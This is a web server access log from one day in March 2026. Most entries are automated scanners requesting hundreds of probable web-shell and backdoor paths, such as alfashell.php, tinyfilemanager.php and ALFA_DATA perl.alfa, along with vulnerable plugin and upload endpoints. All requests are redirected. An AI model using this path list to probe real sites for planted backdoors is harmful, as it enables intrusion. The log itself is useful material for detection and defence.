43.156.232.190 - - [22/Mar/2026:06:45:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 134.149.59.124 - - [22/Mar/2026:08:54:36 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 134.149.59.124 - - [22/Mar/2026:08:54:50 +0300] "GET /wp-content/function.php HTTP/1.1" 301 795 "-" "-" 134.149.59.124 - - [22/Mar/2026:08:54:44 +0300] "GET /bs.php HTTP/1.1" 301 795 "-" "-" 82.208.114.93 - - [22/Mar/2026:09:19:05 +0300] "GET /wp-content/plugins/relevanssi/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 75.119.137.15 - - [22/Mar/2026:09:13:03 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 213.202.253.4 - - [22/Mar/2026:10:09:53 +0300] "GET /txets.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 82.208.114.93 - - [22/Mar/2026:10:07:43 +0300] "GET /wp-content/plugins/relevanssi/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 20.216.146.160 - - [22/Mar/2026:10:31:26 +0300] "GET /zample.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:32:22 +0300] "GET //wp-mter.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:33:22 +0300] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:33:35 +0300] "GET /eee.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:33:59 +0300] "GET /fvvff.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:36:46 +0300] "GET //1.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:38:06 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:38:40 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:44:46 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:45:42 +0300] "GET /bengi.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:46:51 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:48:33 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:50:32 +0300] "GET /file18.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:51:27 +0300] "GET /afile.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:51:29 +0300] "GET /lites.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:32:41 +0300] "GET /19.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:35:23 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:35:35 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:35:35 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:39:42 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:40:29 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:41:39 +0300] "GET /wp-michan.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:42:25 +0300] "GET /wp-admin/js/fi.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:43:44 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:46:09 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:47:12 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:47:33 +0300] "GET /file52.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:49:24 +0300] "GET /thh.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:50:42 +0300] "GET /ffile.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:51:55 +0300] "GET /bless3.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:52:11 +0300] "GET /he.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:53:42 +0300] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:31:05 +0300] "GET /gptsh.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:33:01 +0300] "GET /file61.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:37:16 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:39:51 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:39:51 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:42:40 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:42:40 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:43:09 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:43:33 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:43:54 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:44:23 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:44:27 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:44:27 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:44:54 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:47:01 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:48:02 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:48:02 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:49:54 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:49:57 +0300] "GET /build.php HTTP/1.1" 301 795 "-" "-" 51.68.111.245 - - [22/Mar/2026:11:53:58 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.111.245 - - [22/Mar/2026:11:53:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 105.214.96.159 - - [22/Mar/2026:12:08:09 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.216.146.160 - - [22/Mar/2026:10:33:43 +0300] "GET /no1.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:34:16 +0300] "GET /sty.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:34:19 +0300] "GET //path.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:35:09 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:37:46 +0300] "GET /bless5.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:39:03 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:40:49 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:41:12 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:41:22 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:41:28 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:43:18 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:44:34 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:45:28 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:46:17 +0300] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:47:21 +0300] "GET /sdm.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:47:53 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:48:17 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:51:43 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:52:51 +0300] "GET /filesss.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:54:36 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:30:52 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:31:39 +0300] "GET /read.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:32:03 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:35:56 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:36:11 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:36:19 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:40:00 +0300] "GET //wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:40:02 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:40:44 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:40:44 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:40:58 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:40:58 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:42:05 +0300] "GET //wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:42:05 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:42:10 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:44:00 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:46:29 +0300] "GET /re.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:47:49 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:51:12 +0300] "GET /efile.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:52:58 +0300] "GET /wp-aaa.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:53:05 +0300] "GET /031.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:53:08 +0300] "GET /about3.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:53:11 +0300] "GET /file88.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:53:48 +0300] "GET /security.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:53:53 +0300] "GET /ar.php HTTP/1.1" 301 795 "-" "-" 45.94.31.76 - - [22/Mar/2026:11:02:57 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 43.133.139.6 - - [22/Mar/2026:12:05:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.216.146.160 - - [22/Mar/2026:10:31:57 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:32:30 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:32:52 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:33:48 +0300] "GET /w2025.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:33:51 +0300] "GET /swallowable.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:34:06 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:34:30 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:34:36 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:37:31 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:37:53 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:38:18 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:38:31 +0300] "GET /aaa.php?p= HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:39:15 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:40:38 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:40:38 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:42:53 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:43:38 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:48:26 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:49:33 +0300] "GET /yellow.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:50:12 +0300] "GET /file1.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:50:20 +0300] "GET /520.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:52:07 +0300] "GET /enclas.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:52:33 +0300] "GET /vanta.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:52:45 +0300] "GET /cabs.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:53:17 +0300] "GET /CLA.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:54:16 +0300] "GET /xoot.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:31:48 +0300] "GET /wp-kd4xalrg7m.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:31:51 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:33:16 +0300] "GET /uuu.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:36:34 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:37:01 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:38:48 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:38:48 +0300] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:41:49 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:45:18 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:45:36 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:45:57 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:47:44 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:48:40 +0300] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:49:01 +0300] "GET /inde.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:50:57 +0300] "GET /vee.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:52:20 +0300] "GET /aves.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:54:01 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:54:24 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 87.121.84.71 - - [22/Mar/2026:11:03:41 +0300] "GET /assets/plugins/jQuery-File-Upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 20.216.146.160 - - [22/Mar/2026:10:31:15 +0300] "GET /xocx.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:32:11 +0300] "GET /1998.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:33:27 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:34:51 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:34:54 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:35:47 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:39:28 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:39:31 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:40:14 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:41:56 +0300] "GET //wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:41:56 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:44:11 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:45:09 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:46:38 +0300] "GET /fm.php?p= HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:48:48 +0300] "GET /file21.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:48:51 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:48:55 +0300] "GET /2clas.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:49:13 +0300] "GET /classgoto24.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:49:19 +0300] "GET /fffff.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:49:48 +0300] "GET /wfile.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:53:21 +0300] "GET /des.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:53:25 +0300] "GET /kaza.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:53:29 +0300] "GET /file51.php HTTP/1.1" 301 795 "-" "-" 20.216.146.160 - - [22/Mar/2026:10:53:34 +0300] "GET /blurbs15.php HTTP/1.1" 301 795 "-" "-" 125.75.66.97 - - [22/Mar/2026:13:23:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 49.51.72.236 - - [22/Mar/2026:12:50:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 173.252.107.6 - - [22/Mar/2026:12:41:25 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 34.198.2.0 - - [22/Mar/2026:12:37:35 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Gort)" 80.85.246.214 - - [22/Mar/2026:15:35:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.94.31.76 - - [22/Mar/2026:15:36:27 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.94.31.76 - - [22/Mar/2026:15:36:57 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.94.31.76 - - [22/Mar/2026:15:36:27 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 45.94.31.76 - - [22/Mar/2026:15:36:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.94.31.76 - - [22/Mar/2026:15:36:27 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.94.31.76 - - [22/Mar/2026:15:36:27 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 54.198.63.248 - - [22/Mar/2026:16:27:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 43.159.152.184 - - [22/Mar/2026:17:57:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.134.141.244 - - [22/Mar/2026:17:10:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.26.192.111 - - [22/Mar/2026:19:01:29 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.111 - - [22/Mar/2026:19:01:30 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.111 - - [22/Mar/2026:19:01:30 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.111 - - [22/Mar/2026:19:01:29 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.111 - - [22/Mar/2026:19:01:29 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.111 - - [22/Mar/2026:19:01:29 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.111 - - [22/Mar/2026:19:01:30 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.111 - - [22/Mar/2026:19:01:29 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.111 - - [22/Mar/2026:19:01:30 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 60.188.57.0 - - [22/Mar/2026:20:33:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 69.63.184.29 - - [22/Mar/2026:22:09:30 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 